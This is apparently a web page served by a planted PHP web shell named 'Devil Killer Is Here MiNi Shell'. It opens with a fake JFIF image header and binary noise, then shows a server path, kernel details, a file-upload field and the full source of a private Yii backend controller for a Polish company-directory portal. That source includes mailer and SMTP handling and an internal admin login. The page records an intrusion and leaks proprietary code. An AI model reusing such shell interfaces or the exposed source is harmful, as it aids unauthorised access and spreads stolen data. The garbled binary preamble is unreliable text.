JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/backend/controllers/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/backend/controllers/CompaniespresentationsController.php

<?php

namespace backend\controllers;

use Yii;
use common\models\CompaniesPresentations;
use common\models\CompaniesPresentationsTabs;
use common\models\Companies;
use common\models\PresentationsTabs;
use common\models\types\Status;
use common\models\CompaniesPhotogalleries;
use common\models\CompaniesVideogalleries;
use common\models\CompaniesAwards;
use common\models\CompaniesDownloads;
use common\models\CompaniesBranches;
use common\models\CompaniesDepartments;
use common\models\CompaniesPresentationsPages;
use common\models\Countries;
use common\models\CompaniesPresentationsHasCompaniesPhotogalleries;
use common\models\CompaniesPresentationsHasCompaniesVideogalleries;
use common\models\CompaniesPresentationsHasCompaniesAwards;
use common\models\CompaniesPresentationsHasCompaniesDownloads;
use common\models\Regions;
use common\models\Products;
use common\models\PresentationsPackages;
use common\models\PresentationsTags;
use common\models\types\UserChangeType;
use common\models\types\UserProfile;
use backend\models\PresentationForm;
use backend\models\PresentationContactDataForm;
use backend\models\PresentationPhotogalleriesForm;
use backend\models\PresentationVideogalleriesForm;
use backend\models\PresentationAwardsForm;
use backend\models\PresentationDownloadsForm;
use backend\models\PresentationIndustriesAndCoverageForm;
use backend\models\PresentationSettingsForm;
use backend\models\GoogleIndexingUrlForPresentationForm;
use backend\components\helpers\PresentationsHelper;
use yii\data\ActiveDataProvider;
use yii\web\Controller;
use yii\web\NotFoundHttpException;
use yii\web\ForbiddenHttpException;
use yii\helpers\ArrayHelper;
use yii\caching\TagDependency;
use frontend\models\IndexPresentations;
use frontend\models\IndexProducts;

/**
 * CompaniespresentationsController implements the CRUD actions for CompaniesPresentations model.
 */
class CompaniespresentationsController extends Controller
{    
    use \backend\components\traits\ControllerFunctions;
    use \common\components\traits\ConvertImagesToWebpFunctions;

    /**
     * Lists all CompaniesPresentations models.
     * @param integer $id
     * @return mixed
     */
    public function actionIndex($id)
    {
        $modelCompany = $this->findModelCompany($id);
        
        if (!Yii::$app->user->can('viewCompaniesPresentations', ['model' => $modelCompany])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $dataProvider = new ActiveDataProvider([
            'query' => $modelCompany->getPresentations()->joinWith('portal')->orderBy('portals.name ASC')->andWhere(['companies_presentations.status' => Status::ACTIVE]),
        ]);

        return $this->render('index', [
            'dataProvider' => $dataProvider,
            'modelCompany' => $modelCompany
        ]);
    }
    
    public function actionCreate($id)
    {
        $modelCompany = $this->findModelCompany($id);
        
        if(!Yii::$app->user->can('createCompaniesPresentations')) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $modelsCompanyPresentations = $modelCompany->getPresentations()->with(['portal', 'package'])->all();
        
        $idsCompanyPortals = $companyPresentationsList = [];
        if(!empty($modelsCompanyPresentations)) {            
            foreach($modelsCompanyPresentations as $modelCompanyPresentation) {
                $idsCompanyPortals[$modelCompanyPresentation->id_portal] = $modelCompanyPresentation->id_portal;
                $companyPresentationsList[$modelCompanyPresentation->id_presentation] = $modelCompanyPresentation->portal->domain.' (#'.$modelCompanyPresentation->id_presentation.', '.$modelCompanyPresentation->package->name.')';
            }
        }
        
        $modelForm = new PresentationForm(['modelCompany' => $modelCompany]);
        
        $portalsList = \yii\helpers\ArrayHelper::map(
            \common\models\Portals::find()
                ->select(['id_portal', 'domain'])
                ->where(['status' => Status::ACTIVE])
                ->andFilterWhere(['not in', 'id_portal', $idsCompanyPortals])
                ->orderBy('domain')
                ->asArray()
                ->all(), 
            'id_portal', 
            'domain'
        );
        
        $presentationsPackagesList = \yii\helpers\ArrayHelper::map(
            PresentationsPackages::find()
                ->select(['id_package', 'name'])
                ->orderBy('package_order')
                ->asArray()
                ->all(), 
            'id_package', 
            'name'
        );
        
        $outputParams = [
            'modelForm' => $modelForm,
            'modelCompany' => $modelCompany,
            'portalsList' => $portalsList,
            'companyPresentationsList' => $companyPresentationsList,
            'presentationsPackagesList' => $presentationsPackagesList
        ];        
        
        if (Yii::$app->request->isAjax && $modelForm->load(Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($modelForm, ['id_package', 'id_portal', 'id_presentation']);
        }
        
        if(Yii::$app->request->getIsPost()) {    
//            var_dump($_POST); exit;
            if(!$modelForm->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->render('create', $outputParams);
            }
                    
            if(!$modelForm->validate()) {
                Yii::$app->session->addFlash('error', $modelForm->getErrors());
                return $this->render('create', $outputParams);
            }
            
            $transaction = Yii::$app->db->beginTransaction();
                        
            $idNewPresentation = $modelForm->save();
            $flag = $idNewPresentation !== false ? true : false;
            
            //@todo to chyba jest niepotrzebne - identyczna konstrukcja siedzi już w modelu formularza
//            if($flag && !empty($modelForm->id_presentation)) {
//                $idsRelatedProducts = \common\models\CompaniesPresentationsHasProducts::find()
//                        ->select(['id_product'])
//                        ->where(['id_presentation' => $modelForm->id_presentation])
//                        ->column();
//                $results = IndexProducts::refreshRecords($idsRelatedProducts);
//                if(!empty($results)) {
//                    foreach($results as $result) {
//                        if(!$result) {
//                            $flag = false;
//                            break;
//                        }
//                    }
//                }
//            }
            
            if($flag) {
                $emails = [];
            
                $adminsEmails = \common\models\Users::find()
                        ->select(['users_contact_data.data_value'])
                        ->join('INNER JOIN', 'users_contact_data', 'users.id_user = users_contact_data.id_user')
                        ->where([
                            'users.login' => ['vm_lukasz'],
                            'users_contact_data.data_type' => \common\models\types\ContactDataType::EMAIL, 
                            'users_contact_data.required' => 1
                        ])->column();
                if(!empty($adminsEmails)) {
                    $emails = array_merge($emails, $adminsEmails);
                }

                $modelPortal = \common\models\Portals::findOne($modelForm->id_portal);
                $emails[] = $modelPortal->email;       
                
                $orExistsAssignedOperator = false;
                if(!empty($modelCompany->relationsWithOperators)) {
                    foreach($modelCompany->relationsWithOperators as $modelOperatorHasCompany) {
                        $orAddEmail = false;
                        if(!empty($modelOperatorHasCompany->assigned_portals)) {
                            foreach($modelOperatorHasCompany->assigned_portals as $assignedPortal) {
                                if((int)$modelForm->id_portal === (int)$assignedPortal['id_portal']) {
                                    $orAddEmail = true;
                                    break;
                                }
                            }
                        } else {
                            $orAddEmail = true;
                        }
                        
                        if($orAddEmail) {
                            $operatorEmail = \common\models\UsersContactData::find()
                                ->select(['data_value'])
                                ->where([
                                    'id_user' => $modelOperatorHasCompany->id_user,
                                    'data_type' => \common\models\types\ContactDataType::EMAIL, 
                                    'required' => 1
                                ])->scalar();
                            if(!empty($operatorEmail)) {
                                $emails[] = $operatorEmail;
                                $orExistsAssignedOperator = true;
                            }
                        }
                    }
                }
                
                if(!$orExistsAssignedOperator) {             
                    if(!empty($modelPortal->id_user)) {
                        $operatorEmail = \common\models\UsersContactData::find()
                            ->select(['data_value'])
                            ->where([
                                'id_user' => $modelPortal->id_user,
                                'data_type' => \common\models\types\ContactDataType::EMAIL, 
                                'required' => 1
                            ])->scalar();
                        if(!empty($operatorEmail)) {
                            $emails[] = $operatorEmail;
                        }
                    }
                }

                $emails = array_unique($emails);
                
                $smtpSettings = $modelPortal->getSettingsKey('smtp_settings');

                $modelUser = $modelCompany->user;
                $userEmail = null;
                $userPhone = null;        
                foreach($modelUser->contactData as $modelUserContactData) {
                    if($modelUserContactData->data_type === \common\models\types\ContactDataType::EMAIL) {
                        if(empty($userEmail) || $modelUserContactData->required === 1) {
                            $userEmail = $modelUserContactData->data_value;
                        } 
                    }
                    elseif($modelUserContactData->data_type === \common\models\types\ContactDataType::MOBILE_PHONE) {
                        if(empty($userPhone) || $modelUserContactData->required === 1) {
                            $userPhone = $modelUserContactData->data_value;
                        } 
                    }
                }
                
                //wysyłamy email z informacją o nowo zarejestrowanej firmie z prezentacją na email redakcji, Łukasza oraz
                //opiekuna portalu (###MAIL_11###) 
                $mailer = Yii::$app->mailer;
                $mailer->htmlLayout = 'layouts/main-html';      
                $mailer->textLayout = 'layouts/main-text';
                $mailer->transport = (new \Swift_SmtpTransport($smtpSettings['host'], $smtpSettings['port'], $smtpSettings['encryption']))
                        ->setUsername($smtpSettings['username'])
                        ->setPassword($smtpSettings['password']);            
                $message = $mailer->compose(
                        [
                            'html' => 'register-user-html',
                            'text' => 'register-user-text'
                        ],
                        [
                            'domain' => $modelPortal->domain,
                            'userEmail' => $userEmail,
                            'userPhone' => $userPhone,
                            'modelUser' => $modelUser,
                            'modelCompany' => $modelCompany,
                            'modelsPresentations' => [CompaniesPresentations::findOne($idNewPresentation)],
                            'clientIP' => Yii::$app->request->getUserIP()
                        ]
                    )
                    ->setFrom([$smtpSettings['username'] => $modelPortal->domain.' - system vManager'])
                    ->setSubject(Yii::t('common-mails', 'Potwierdzenie rejestracji firmy w katalogu firm portalu {domain}', ['domain' => $modelPortal->domain]).' ('.Yii::$app->user->identity->forename.' '.Yii::$app->user->identity->surname.')');
                             
                $flag = $message->setTo($emails)->send();
            }
            
            if($flag) {
                $transaction->commit();
                IndexPresentations::refreshRecord($idNewPresentation);
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                return $this->redirect(['contact-data', 'id' => $idNewPresentation]);
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.')); 
            }
        }
        
        return $this->render('create', $outputParams);        
    }
    
    /**
     * Deletes an existing CompaniesPresentations model.
     * If deletion is successful, the browser will be redirected to the 'index' page.
     * @param integer $id
     * @return mixed
     */
    public function actionDelete($id)
    {
        $model = $this->findModel($id);
        
        if(!Yii::$app->user->can('deleteCompaniesPresentations')) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $idCompany = $model->id_company;
        $idsRelatedProducts = $model->getRelationsWithProducts()->select(['id_product'])->column();
        
        if($model->delete() !== false) {
            IndexProducts::refreshRecords($idsRelatedProducts);
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie usunięto dane.'));
        }
        else {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas usuwania danych.'));
        }
        
        return $this->redirect(['companiespresentations/index', 'id' => $idCompany]);
    }
    
    public function actionOrderNew($id)
    {
        $modelCompany = $this->findModelCompany($id);
        
        if(!Yii::$app->user->can('viewCompaniesPresentations', ['model' => $modelCompany])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        return $this->render('order_new', [
            'modelCompany' => $modelCompany,
        ]);        
    }
    
    public function actionPublications($id)
    {
        $modelPresentation = $this->findModel($id);
        
        if (!Yii::$app->user->can('viewCompaniesPresentations', ['model' => $modelPresentation->company])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $modelsTabs = $this->getCompaniesTabs($modelPresentation);
        if(empty($modelsTabs[PresentationsTabs::TAB_PUBLICATIONS])) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }        
        $modelSelectedTab = $modelsTabs[PresentationsTabs::TAB_PUBLICATIONS];
        
        $outputParams = [
            'modelPresentation' => $modelPresentation,
            'modelsTabs' => $modelsTabs,
            'modelSelectedTab' => $modelSelectedTab
        ];
        
        return $this->render('publications', $outputParams);
    }
    
    public function actionTrainings($id)
    {
        $modelPresentation = $this->findModel($id);
        
        if (!Yii::$app->user->can('viewCompaniesPresentations', ['model' => $modelPresentation->company])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $modelsTabs = $this->getCompaniesTabs($modelPresentation);
        if(empty($modelsTabs[PresentationsTabs::TAB_TRAININGS])) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }        
        $modelSelectedTab = $modelsTabs[PresentationsTabs::TAB_TRAININGS];
        
        $outputParams = [
            'modelPresentation' => $modelPresentation,
            'modelsTabs' => $modelsTabs,
            'modelSelectedTab' => $modelSelectedTab
        ];
        
        return $this->render('trainings', $outputParams);
    }

    public function actionContactData($id)
    {
        $modelPresentation = $this->findModel($id);
        
        if (!Yii::$app->user->can('viewCompaniesPresentations', ['model' => $modelPresentation->company])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $modelsTabs = $this->getCompaniesTabs($modelPresentation);
        if(empty($modelsTabs[PresentationsTabs::TAB_CONTACT_DATA])) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }        
        $modelSelectedTab = $modelsTabs[PresentationsTabs::TAB_CONTACT_DATA];
        
        $modelForm = new PresentationContactDataForm(['idCompany' => $modelPresentation->id_company]);
        $modelForm->setPresentation($modelPresentation);
        
        $modelForm->contactDataFields = $modelPresentation->getSettingsKey('visible_contact_data_fields') ? $modelPresentation->getSettingsKey('visible_contact_data_fields') : [];
        $modelForm->contactDataItems = $modelPresentation->getSettingsKey('visible_contact_data_items') ? $modelPresentation->getSettingsKey('visible_contact_data_items') : [];
        
        $selectedBranches = ArrayHelper::map($modelPresentation->getBranches()->join('INNER JOIN', 'companies_presentations_has_companies_branches', 'companies_presentations_has_companies_branches.id_branch = companies_branches.id_branch')->select(['companies_branches.id_branch', 'companies_branches.name'])->orderBy('companies_presentations_has_companies_branches.branch_order')->indexBy('id_branch')->asArray()->all(), 'id_branch', 'name');
        $availableBranches = ArrayHelper::map(CompaniesBranches::find()->select(['id_branch', 'name'])->where(['id_company' => $modelPresentation->id_company])->andFilterWhere(['not in', 'id_branch', array_keys($selectedBranches)])->orderBy('name')->indexBy('id_branch')->asArray()->all(), 'id_branch', 'name');
        
        $selectedDepartments = ArrayHelper::map($modelPresentation->getDepartments()->join('INNER JOIN', 'companies_presentations_has_companies_departments', 'companies_presentations_has_companies_departments.id_department = companies_departments.id_department')->select(['companies_departments.id_department', 'companies_departments.name'])->orderBy('companies_presentations_has_companies_departments.department_order')->indexBy('id_department')->asArray()->all(), 'id_department', 'name');
        $availableDepartments = ArrayHelper::map(CompaniesDepartments::find()->select(['id_department', 'name'])->where(['id_company' => $modelPresentation->id_company, 'id_branch' => null])->andFilterWhere(['not in', 'id_department', array_keys($selectedDepartments)])->orderBy('name')->indexBy('id_department')->asArray()->all(), 'id_department', 'name');
        
        $outputParams = [
            'modelPresentation' => $modelPresentation,
            'modelsTabs' => $modelsTabs,
            'modelSelectedTab' => $modelSelectedTab,
            'selectedBranches' => $selectedBranches,
            'availableBranches' => $availableBranches,
            'selectedDepartments' => $selectedDepartments,
            'availableDepartments' => $availableDepartments,
            'modelForm' => $modelForm
        ];
        
        if (Yii::$app->request->isAjax && $modelForm->load(Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($modelForm, ['branches', 'departments', 'contactDataFields', 'contactDataItems']);
        }
        
        if(Yii::$app->request->getIsPost()) { 
            if (!Yii::$app->user->can('modifyCompaniesPresentations', ['model' => $modelPresentation->company])) {
                throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
            }
            
            if(!$modelForm->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->render('contact_data', $outputParams);
            }
                    
            if(!$modelForm->validate()) {
                Yii::$app->session->addFlash('error', $modelForm->getErrors());
                return $this->render('contact_data', $outputParams);
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $cacheTags = ['presentation_'.$modelPresentation->id_presentation.'_contact_data', 'presentation_'.$modelPresentation->id_presentation.'_branches'];
            
            $flag = true;
            $flag = $flag && $modelForm->saveBranches(); 
            $flag = $flag && $modelForm->saveDepartments();
            $flag = $flag && $modelForm->saveContactData();
            if($flag) {
                list($flag, $cacheTagsFromRelatedPresentations) = $this->syncItemsForRelatedPresentations($modelPresentation, '\common\models\CompaniesPresentationsHasCompaniesBranches', 'getRelationsWithBranches', ['presentation_XXX_contact_data', 'presentation_XXX_branches'], 'id_branch', 'branch_order');
                $cacheTags = array_unique(array_merge($cacheTags, $cacheTagsFromRelatedPresentations));
            }
            if($flag) {
                list($flag, $cacheTagsFromRelatedPresentations) = $this->syncItemsForRelatedPresentations($modelPresentation, '\common\models\CompaniesPresentationsHasCompaniesDepartments', 'getRelationsWithDepartments', null, 'id_department', 'department_order');
                $cacheTags = array_unique(array_merge($cacheTags, $cacheTagsFromRelatedPresentations));
            }
            $idsPresentations = [$modelPresentation->id_presentation];
            if($flag) {
                if(!empty($modelPresentation->relatedPresentations)) {
                    foreach($modelPresentation->relatedPresentations as $modelRelatedPresentation) {
                        $idsPresentations[] = $modelRelatedPresentation->id_presentation;
                        $modelRelatedPresentation->setSettingsKey('visible_contact_data_fields', !empty($modelForm->contactDataFields) ? $modelForm->contactDataFields : []);
                        $modelRelatedPresentation->setSettingsKey('visible_contact_data_items', !empty($modelForm->contactDataItems) ? array_map(function($item) { return intval($item); }, $modelForm->contactDataItems) : []);
                        if($modelRelatedPresentation->saveSettings() === false) {
                            $flag = false;
                            break;
                        }
                    }
                }
            }            
            $flag = $flag && IndexPresentations::refreshRecords($idsPresentations);
            if($flag) {
                $transaction->commit();
                \common\models\Emails::refreshForCompany($modelPresentation->id_company);
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                $this->createEntryForUserChange(UserChangeType::PRESENTATION_CONTACT_DATA, $modelPresentation->id_presentation, $modelPresentation->id_company);
                TagDependency::invalidate(Yii::$app->frontendCache, $cacheTags);
                PresentationsHelper::refreshTabsActivityStatus($modelPresentation, [PresentationsTabs::TAB_BRANCHES]);
                if(!empty($modelPresentation->relatedPresentations)) {
                    foreach($modelPresentation->relatedPresentations as $modelRelatedPresentation) {
                        PresentationsHelper::refreshTabsActivityStatus($modelRelatedPresentation, [PresentationsTabs::TAB_BRANCHES]);
                    }
                }
                return $this->redirect(['contact-data', 'id' => $modelPresentation->id_presentation]);
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.')); 
            }
        }
        
        return $this->render('contact_data', $outputParams);
    }
    
    public function actionIndustriesAndCoverage($id)
    {
        $modelPresentation = $this->findModel($id);
        
        if (!Yii::$app->user->can('viewCompaniesPresentations', ['model' => $modelPresentation->company])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $modelsTabs = $this->getCompaniesTabs($modelPresentation);
//        if(empty($modelsTabs[PresentationsTabs::TAB_INDUSTRIES_AND_COVERAGE])) {
//            throw new NotFoundHttpException('The requested page does not exist.');
//        }        
        $modelSelectedTab = !empty($modelsTabs[PresentationsTabs::TAB_INDUSTRIES_AND_COVERAGE]) ? $modelsTabs[PresentationsTabs::TAB_INDUSTRIES_AND_COVERAGE] : null;
        
        $modelForm = new PresentationIndustriesAndCoverageForm();
        $modelForm->setPresentation($modelPresentation);
        
        $outputParams = [
            'modelPresentation' => $modelPresentation,
            'modelsTabs' => $modelsTabs,
            'modelSelectedTab' => $modelSelectedTab,
            'modelForm' => $modelForm
        ];
        
        if (Yii::$app->request->isAjax && $modelForm->load(Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($modelForm, ['countries', 'regions', 'listCategories']);
        }
        
        if(Yii::$app->request->getIsPost()) {
            if (!Yii::$app->user->can('modifyCompaniesPresentations', ['model' => $modelPresentation->company]) && !Yii::$app->user->can('modifyAssignedCompaniesPresentations', ['model' => $modelPresentation->company])) {
                throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
            }
            
            if(!$modelForm->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->render('industries_and_coverage', $outputParams);
            }
                    
            if(!$modelForm->validate()) {
                Yii::$app->session->addFlash('error', $modelForm->getErrors());
                return $this->render('industries_and_coverage', $outputParams);
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            if ($modelForm->save()) {
                $transaction->commit();
                $cacheTags = ['presentation_'.$modelPresentation->id_presentation.'_industries_and_range'];
                $idsRelatedPresentations = $modelPresentation->getRelationsWithRelatedPresentations()->select(['id_related_presentation'])->column();
                if(!empty($idsRelatedPresentations)) {
                    foreach($idsRelatedPresentations as $idsRelatedPresentation) {
                        $cacheTags[] = 'presentation_'.$idsRelatedPresentation.'_industries_and_range';
                    }
                }
                TagDependency::invalidate(Yii::$app->frontendCache, $cacheTags);
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                $this->createEntryForUserChange(UserChangeType::PRESENTATION_INDUSTRIES_AND_COVERAGE, $modelPresentation->id_presentation, $modelPresentation->id_company);
                return $this->redirect(['industries-and-coverage', 'id' => $modelPresentation->id_presentation]);
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.')); 
            }
        }
        
        return $this->render('industries_and_coverage', $outputParams);
    }
    
    public function actionRegionsForCountries()
    {
        $idsCountries = explode(",", Yii::$app->request->get('ids_countries'));
        
        if(!empty($idsCountries) && is_string($idsCountries[0])) {
            $modelsCountries = Countries::find()->joinWith('regions')->where(['countries.id_country' => $idsCountries])->indexBy('id_country')->orderBy('countries.name ASC, regions.name ASC')->all();
        } else {
            $modelsCountries = [];
        }

        return $this->renderAjax('regions_for_countries', [
            'modelsCountries' => $modelsCountries
        ]);
    }
    
    public function actionAboutCompany($id)
    {
        $modelPresentation = $this->findModel($id);
        
        if (!Yii::$app->user->can('viewCompaniesPresentations', ['model' => $modelPresentation->company])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $modelsTabs = $this->getCompaniesTabs($modelPresentation);
        if(empty($modelsTabs[PresentationsTabs::TAB_ABOUT_COMPANY])) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        $modelSelectedTab = $modelsTabs[PresentationsTabs::TAB_ABOUT_COMPANY];
        
        $modelPage = $modelSelectedTab->page;
        if(empty($modelPage)) {
            $modelPage = CompaniesPresentationsPages::createInitialPage($modelSelectedTab->id_company_tab);
            if($modelPage === false) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));
                return $this->redirect(['index']);
            }
        }
        
        $outputParams = [
            'modelPresentation' => $modelPresentation,
            'modelsTabs' => $modelsTabs,
            'modelSelectedTab' => $modelSelectedTab,
            'modelPage' => $modelPage,
            'orFindImagesCopies' => Yii::$app->user->can('modifyCompaniesPresentations', ['model' => false]) ? $this->checkIfExistsAnyImagesCopiesFromConvertingToWebp([$modelPage->lead, $modelPage->content]) : false
        ];
        
//        if (Yii::$app->request->isAjax && $modelPage->load(Yii::$app->request->post())) {
//            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
//            return \yii\bootstrap\ActiveForm::validate($modelPage, ['lead', 'content']);
//        }
        
        if(Yii::$app->request->getIsPost()) { 
            if (!Yii::$app->user->can('modifyCompaniesPresentations', ['model' => false]) && !Yii::$app->user->can('modifyOwnCompaniesPresentations', ['model' => $modelPresentation->company])) {
                throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
            }
            
            if(!$modelPage->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->render('about_company', $outputParams);
            }
            
            if(!$modelPage->validate()) {
                Yii::$app->session->addFlash('error', $modelPage->getErrors());
                return $this->render('about_company', $outputParams);
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $flag = $modelPage->save(false);
            $idsModifiedPresentations = [$modelPresentation->id_presentation];
            if($flag) {
                $idsRelatedPresentations = $modelPresentation->getRelationsWithRelatedPresentations()->select(['id_related_presentation'])->column();
                if(!empty($idsRelatedPresentations)) {
                    $modelsRelatedTabs = CompaniesPresentationsTabs::find()
                        ->with('page')
